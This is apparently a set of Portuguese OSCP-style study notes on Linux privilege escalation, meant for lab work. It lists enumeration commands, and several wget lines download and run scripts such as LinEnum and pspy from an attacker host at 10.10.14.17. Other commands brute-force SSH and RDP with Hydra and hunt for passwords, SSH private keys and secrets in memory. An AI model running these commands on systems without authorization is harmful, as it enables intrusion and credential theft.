Skip to content

Linux

Seguindo o a mesma premissa do windows, vamos verificar primeiramente o kernel e em sequência gente pode olhar alguns diretórios logo de cara:

Sudo access

sudo -i
sudo su
sudo -

# Este temos de verificar os binários que podemos executar com permissão de root
sudo -l

SUID e SGID

Com isso podemos executar o arquivo (caso seja um executável) conforme a permissão do dono do arquivo. Ou seja, se o dono do arquivo for root e o SUID bit estiver definido para o binário, podemos realizar a escalação de privilégio.

find / -perm -u=s -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null

Nese ponto podemos abrangeer a análise de binários aqui quando encontramos algo que seja possível ser executado por meio do usuário root. Para isso devemos considerar esta nota

Exploração de kernel

https://gabb4r.gitbook.io/oscp-notes/linux-post-exploitation/kernel-exploitation

wget http://10.10.14.17/4-privilege_escalation/les.sh
chmod +x les.sh
./les.sh

cat /etc/issue

cat /etc/*-release

uname -a

cat /proc/version

Algo importante aqui na hora de escalar privilégios no sistema:

Considerar a compilação para sistemas 32 bits

https://www.geeksforgeeks.org/compile-32-bit-program-64-bit-gcc-c-c/

CheckHistory

history

Aqui alguns detalhes na hora de navegar nos diretórios. Temos que verificar se existem outras aplicações rodando quando temos um apache na máquina alvo, assim como credenciais em seus arquivos de configuração. Vide que é possível obter i8sso por meio dos seguintes arquivos:

cat /opt/tomcat/conf/tomcat-users.xml
cat /etc/apache2/sites-enabled/*.conf

ls -al /usr/local/
ls -al /usr/local/src
ls -al /usr/local/bin
ls -al /opt/
ls -R -al /home #Fazer recursivamente neste
ls -al /var/
ls -al /usr/src/

OS COMANDOS AQUI SÃO EXECUTADOS TODOS NA MÁQUINA VÍTIMA

Enumerate Users

cat /etc/passwd
#non-system users
awk -F: '($3>=1000)&&($1!="nobody"){print $1}' /etc/passwd

LinEnum

https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

wget http://10.10.14.17/4-privilege_escalation/LinEnum.sh -O le.sh
chmod +x le.sh
./le.sh

ou

https://raw.githubusercontent.com/bngr/OSCP-Scripts/master/bangenum.sh

bangenum

è um resumo do LinEnum.sh

wget http://10.10.14.17/4-privilege_escalation/bangenum.sh
sed -i -e 's/\r$//' bangenum.sh
chmod +x bangenum.sh
./bangenum.sh

Local services

netstat -nao

Network information

ip a
ifconfig
route
routel
ip route

netstat -napl
netstat -naptl

ss -anp

Crontab (Serviços agendados)

crontab -l
cat /etc/crontab
ls -lah /etc/cron*

grep "CRON" /var/log/cron.log

Process Enumeration

< https://github.com/DominicBreuker/pspy>

wget http://10.10.14.17/4-privilege_escalation/pspy32
#ou
wget http://10.10.14.17/4-privilege_escalation/pspy64
chmod +x pspy64
./pspy64

ReusedPassword

Tentar usuário e senha sendo o mesmo com hydra, por exemplo

hydra -L user.txt -P user.txt 10.10.10.10 ssh
hydra -L users.txt -P users.txt rdp://10.10.10.10

Tentar senha de um usuário para outro também e rockyou

Credentials from config files

Procurar a string PASSWORD ou password dentro de arquivos

grep -rnw / -e 'password\|pass\|creds\|senha\|credentials' 2>/dev/null -i

find . -type f -exec grep -i -I "PASSWORD" {} /dev/null \;

grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null

SensitiveFileContent

grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null

Nesse caso e interessante considerar que o diretorio que busco as informacoes e um diretorio de configuracoes de aplicacoes '/etc':

grep --color=auto -rnw '/etc' -ie "PASSWORD" --color=always 2> /dev/null

In memory passwords

strings /dev/mem -n10 | grep -i PASS

Generally, source code with hard coded credentials. Searcvh for php files, for examplo

Credentials from local databases

Dump de credenciais do banco de dados

SSH keys

find / -name authorized_keys 2> /dev/null

find / -name id_rsa 2> /dev/null

Binary exploitation

User Installed Software Has the user installed some third party software that might be vulnerable? Check it out. If you find anything google it for exploits.

Common locations for user installed software

/usr/local/
/usr/local/src
/usr/local/bin
/opt/
/home
/var/
/usr/src/

Debian

dpkg -l

CentOS, OpenSuse, Fedora, RHEL

rpm -qa (CentOS / openSUSE )

OpenBSD, FreeBSD

pkg_info

Enumerate writable/readable

find / -writable -type d 2>/dev/null

Enumerate unmounted disks

cat /etc/fstab 
mount
/bin/lsblk